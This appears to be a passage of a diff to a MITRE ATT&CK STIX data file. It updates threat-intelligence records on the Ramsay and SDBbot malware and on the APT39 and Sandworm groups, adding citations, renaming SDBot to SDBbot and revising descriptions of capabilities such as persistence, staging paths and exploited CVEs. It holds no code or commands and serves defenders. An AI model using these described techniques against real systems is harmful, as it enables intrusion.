Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can scan for network drives which may contain documents for collection.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can scan for network drives which may contain documents for collection.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--0428220b-eb98-45c3-a637-7da54b4496b4", "type": "relationship", - "modified": "2020-06-08T19:12:14.056Z", + "modified": "2021-03-24T20:25:01.414Z", "created": "2020-05-28T16:38:03.686Z" }, { @@ -199744,13 +201246,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can compress and archive collected files using WinRAR.(Citation: Eset Ramsay May 2020)", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can compress and archive collected files using WinRAR.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)", "relationship_type": "uses", "id": "relationship--756f3884-c21b-4d00-ac2c-6c2ab386072f", "type": "relationship", - "modified": "2020-06-08T19:12:14.086Z", + "modified": "2021-03-24T21:10:38.927Z", "created": "2020-05-28T16:38:03.688Z" }, { @@ -199765,13 +201272,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can stage data prior to exfiltration in %APPDATA%\\Microsoft\\UserSetting and %APPDATA%\\Microsoft\\UserSetting\\MediaCache.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can stage data prior to exfiltration in %APPDATA%\\Microsoft\\UserSetting and %APPDATA%\\Microsoft\\UserSetting\\MediaCache.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--4b03f718-f89a-4652-b3be-5cbe4e0e044f", "type": "relationship", - "modified": "2020-06-08T19:12:14.124Z", + "modified": "2021-03-24T20:25:01.378Z", "created": "2020-05-28T16:38:03.701Z" }, { @@ -199786,13 +201298,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can scan for Microsoft Word documents within the target's filesystem.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can collect directory and file lists.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--cde9af4e-4bf9-4235-9d27-496eb78e3608", "type": "relationship", - "modified": "2020-06-08T19:12:14.130Z", + "modified": "2021-03-24T20:25:01.456Z", "created": "2020-05-28T16:38:03.703Z" }, { @@ -199828,13 +201345,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can collect Microsoft Word documents from the target's filesystem.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can collect Microsoft Word documents from the target's file system, as well as .txt, .doc, and .xls files from the Internet Explorer cache.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--3feb6e83-0491-4e3d-a581-3f68ab839e92", "type": "relationship", - "modified": "2020-06-08T19:12:14.175Z", + "modified": "2021-03-24T20:25:01.411Z", "created": "2020-05-28T16:38:03.710Z" }, { @@ -199849,13 +201371,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can scan for removable media which may contain documents for collection.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can scan for removable media which may contain documents for collection.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--55d84559-7bb9-4e17-be60-7694e4219877", "type": "relationship", - "modified": "2020-06-08T19:12:14.170Z", + "modified": "2021-03-24T20:25:01.467Z", "created": "2020-05-28T16:38:03.712Z" }, { @@ -199864,7 +201391,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", - "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "external_references": [ { "source_name": "Eset Ramsay May 2020", @@ -199876,7 +201403,7 @@ "relationship_type": "uses", "id": "relationship--55e67f6b-600a-4196-b497-63019731e66e", "type": "relationship", - "modified": "2020-06-15T20:53:11.651Z", + "modified": "2021-04-14T19:19:30.115Z", "created": "2020-05-28T16:38:03.754Z" }, { @@ -199912,13 +201439,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) has included embedded Visual Basic Scripts in malicious documents.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) has included embedded Visual Basic scripts in malicious documents.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--d9898b1f-9056-400c-9b26-26c87500cfe3", "type": "relationship", - "modified": "2020-06-08T19:12:14.222Z", + "modified": "2021-04-14T19:19:30.200Z", "created": "2020-05-28T16:38:03.760Z" }, { @@ -199935,11 +201467,11 @@ "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use the Windows COM API to schedule tasks and maintain persistence as well as the WriteFile, CloseHandle, and GetCurrentHwProfile functions during collection.(Citation: Eset Ramsay May 2020)", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use Windows API functions such as WriteFile, CloseHandle, and GetCurrentHwProfile during its collection and file storage operations. [Ramsay](https://attack.mitre.org/software/S0458) can execute its embedded components via CreateProcessA and ShellExecute.(Citation: Eset Ramsay May 2020)", "relationship_type": "uses", "id": "relationship--239eb918-b9e0-499c-9934-96382fa782a0", "type": "relationship", - "modified": "2020-06-15T20:53:11.753Z", + "modified": "2021-04-14T22:10:12.447Z", "created": "2020-05-28T16:38:03.762Z" }, { @@ -200059,13 +201591,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) has been embedded in documents exploiting CVE-2017-0199 and CVE-2017-11882.(Citation: Eset Ramsay May 2020)", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) has been embedded in documents exploiting CVE-2017-0199, CVE-2017-11882, and CVE-2017-8570.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)", "relationship_type": "uses", "id": "relationship--76a3097b-808d-45a9-aa81-dce5ed6a45d3", "type": "relationship", - "modified": "2020-05-28T16:38:03.775Z", + "modified": "2021-03-24T20:25:01.509Z", "created": "2020-05-28T16:38:03.775Z" }, { @@ -200101,13 +201638,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) has masqueraded as a 7zip installer.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) has masqueraded as a 7zip installer.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--882002ca-25a6-4226-9cc4-3efe5f798449", "type": "relationship", - "modified": "2020-06-12T16:15:05.155Z", + "modified": "2021-03-24T20:25:01.495Z", "created": "2020-05-28T16:38:03.779Z" }, { @@ -200122,13 +201664,18 @@ "source_name": "BitDefender Chafer May 2020", "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has used a tool named mfevtpse.exe to proxy C2 communications, closely mimicking a legitimate McAfee file mfevtps.exe.(Citation: BitDefender Chafer May 2020)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware disguised as Mozilla Firefox and a tool named mfevtpse.exe to proxy C2 communications, closely mimicking a legitimate McAfee file mfevtps.exe.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--d7a244fa-f52c-4e54-9088-6f9ccda8b2b9", "type": "relationship", - "modified": "2020-05-29T14:02:52.170Z", + "modified": "2020-12-14T16:43:09.152Z", "created": "2020-05-29T14:02:52.170Z" }, { @@ -200397,7 +201944,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to use image file execution options for persistence if it detects it is running with admin privileges on a Windows version newer than Windows 7.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use image file execution options for persistence if it detects it is running with admin privileges on a Windows version newer than Windows 7.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--91e86813-270d-4ee6-8dff-9b87e3d9fae4", "type": "relationship", @@ -200423,7 +201970,7 @@ "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to add a value to the Registry Run key to establish persistence if it detects it is running with regular user privilege. (Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to add a value to the Registry Run key to establish persistence if it detects it is running with regular user privilege. (Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "id": "relationship--7333e2da-7aa5-4559-a03d-5818883d62d5", "type": "relationship", @@ -200444,7 +201991,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to XOR the strings for its installer component with a hardcoded 128 byte key.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to XOR the strings for its installer component with a hardcoded 128 byte key.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--f252d0e6-019a-4711-9069-c16930236aa4", "type": "relationship", @@ -200465,7 +202012,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to use application shimming for persistence if it detects it is running as admin on Windows XP or 7, by creating a shim database to patch services.exe.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use application shimming for persistence if it detects it is running as admin on Windows XP or 7, by creating a shim database to patch services.exe.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--1e29cbcc-3e45-4e62-a66f-4479b310ccdb", "type": "relationship", @@ -200528,7 +202075,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to clean up and remove data structures from a compromised host.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to clean up and remove data structures from a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--08f4dfcb-c394-470d-851f-045bbc38cdb5", "type": "relationship", @@ -200549,7 +202096,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to delete files from a compromised host.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to delete files from a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--f96a2b4a-4d74-4251-b714-40b224d3ad09", "type": "relationship", @@ -200570,7 +202117,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to inject a downloaded DLL into a newly created rundll32.exe process.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to inject a downloaded DLL into a newly created rundll32.exe process.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--27ccf817-33de-4d85-85e5-851f82e835e4", "type": "relationship", @@ -200591,7 +202138,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to identify the user on a compromised host.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to identify the user on a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--9ee385ef-7e78-47bf-be25-8ba112f9280e", "type": "relationship", @@ -200612,7 +202159,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to get directory listings or drive information on a compromised host.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to get directory listings or drive information on a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--03b12a66-789a-4480-8903-deab828d08b6", "type": "relationship", @@ -200633,7 +202180,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to determine the domain name and whether a proxy is configured on a compromised host.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to determine the domain name and whether a proxy is configured on a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--9c15fad4-3614-4bf0-90db-84749f34f91c", "type": "relationship", @@ -200654,7 +202201,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to download a DLL from C2 to a compromised host.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to download a DLL from C2 to a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--7ef04aca-4890-4035-8c0b-69d9a78e8029", "type": "relationship", @@ -200675,7 +202222,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to identify the OS version, country code, and computer name.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to identify the OS version, country code, and computer name.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--855bcd64-ef37-4197-8d3e-2c147d42d774", "type": "relationship", @@ -200696,7 +202243,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to use port forwarding to establish a proxy between a target host and C2.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use port forwarding to establish a proxy between a target host and C2.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--1a9510e3-0bb0-4469-bbf8-2d02a3a00d66", "type": "relationship", @@ -200722,7 +202269,7 @@ "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to decrypt and decompress its payload to enable code execution.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to decrypt and decompress its payload to enable code execution.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "id": "relationship--102849c0-0ed7-4e85-9d0b-791bcb7ef7ab", "type": "relationship", @@ -200743,7 +202290,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to use the command shell to execute commands on a compromised host.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use the command shell to execute commands on a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--efe5521e-a774-4a0f-a360-3cee8303833d", "type": "relationship", @@ -200764,7 +202311,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to communicate with C2 with TCP over port 443.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to communicate with C2 with TCP over port 443.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--a7cdf456-9ad0-402b-a914-5f1ebcd873a3", "type": "relationship", @@ -200790,7 +202337,7 @@ "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to record video on a compromised host.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to record video on a compromised host.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "id": "relationship--88d48848-1f23-4d91-8934-045d04b219ea", "type": "relationship", @@ -200811,7 +202358,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to access the file system on a compromised host.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to access the file system on a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--76d47356-a255-48ba-9cd8-1ff2e52bb165", "type": "relationship", @@ -200832,7 +202379,7 @@ "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has the ability to use RDP to connect to victim's machines.(Citation: Proofpoint TA505 October 2019)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use RDP to connect to victim's machines.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "id": "relationship--7aef9a3f-82ff-4e2e-bee7-962b49421067", "type": "relationship", @@ -201031,7 +202578,7 @@ "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020." } ], - "description": "[SDBot](https://attack.mitre.org/software/S0461) has used a packed installer file.(Citation: IBM TA505 April 2020)", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) has used a packed installer file.(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "id": "relationship--63ae56fe-04c2-41f5-a2be-c1880e67b490", "type": "relationship", @@ -201617,7 +203164,7 @@ } ], "type": "relationship", - "modified": "2020-09-14T19:54:58.831Z", + "modified": "2021-04-20T14:51:02.168Z", "created": "2020-06-08T17:06:00.709Z" }, { @@ -201974,7 +203521,7 @@ } ], "type": "relationship", - "modified": "2020-09-14T19:48:07.522Z", + "modified": "2021-02-09T13:34:39.997Z", "created": "2020-06-09T15:33:13.725Z" }, { @@ -201988,7 +203535,7 @@ "description": "Routinely check user permissions to ensure only the expected users have the capability to create snapshots and backups.", "id": "relationship--6f8f4546-9e1c-42c9-b76f-863e51d6cb2a", "type": "relationship", - "modified": "2020-06-19T14:45:59.783Z", + "modified": "2021-02-09T13:34:40.033Z", "created": "2020-06-09T15:33:13.737Z" }, { @@ -202638,13 +204185,18 @@ "source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018." + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." } ], - "description": "(Citation: ESET TeleBots Oct 2018)", + "description": "(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "id": "relationship--3bf307c2-efb0-40b1-b896-82d15a9bce5f", "type": "relationship", - "modified": "2020-06-10T18:36:54.633Z", + "modified": "2021-03-31T15:59:33.151Z", "created": "2020-06-10T18:36:54.633Z" }, { @@ -202664,13 +204216,23 @@ "source_name": "Secureworks IRON VIKING ", "url": "https://www.secureworks.com/research/threat-profiles/iron-viking", "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + }, + { + "source_name": "UK NCSC Olympic Attacks October 2020", + "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020." } ], - "description": "(Citation: CrowdStrike GTR 2019)(Citation: Secureworks IRON VIKING )", + "description": "(Citation: CrowdStrike GTR 2019)(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)", "relationship_type": "uses", "id": "relationship--f7bfecc9-a5ff-43c4-ad9e-4ca8c64c7fe2", "type": "relationship", - "modified": "2020-06-10T18:36:54.635Z", + "modified": "2020-11-30T19:59:14.264Z", "created": "2020-06-10T18:36:54.635Z" }, { @@ -202685,13 +204247,23 @@ "source_name": "NCSC Sandworm Feb 2020", "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory", "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + }, + { + "source_name": "UK NCSC Olympic Attacks October 2020", + "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020." } ], - "description": "(Citation: NCSC Sandworm Feb 2020)", + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)", "relationship_type": "uses", "id": "relationship--c5dd0d66-99f1-4efd-b0f9-bf9f9118ff16", "type": "relationship", - "modified": "2020-06-10T18:36:54.638Z", + "modified": "2020-11-30T19:59:14.277Z", "created": "2020-06-10T18:36:54.638Z" }, { @@ -202889,13 +204461,18 @@ "source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has delivered malicious Microsoft Office attachments via spearphishing emails.(Citation: iSight Sandworm Oct 2014)(Citation: US-CERT Ukraine Feb 2016)(Citation: ESET Telebots Dec 2016)", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has delivered malicious Microsoft Office attachments via spearphishing emails.(Citation: iSight Sandworm Oct 2014)(Citation: US-CERT Ukraine Feb 2016)(Citation: ESET Telebots Dec 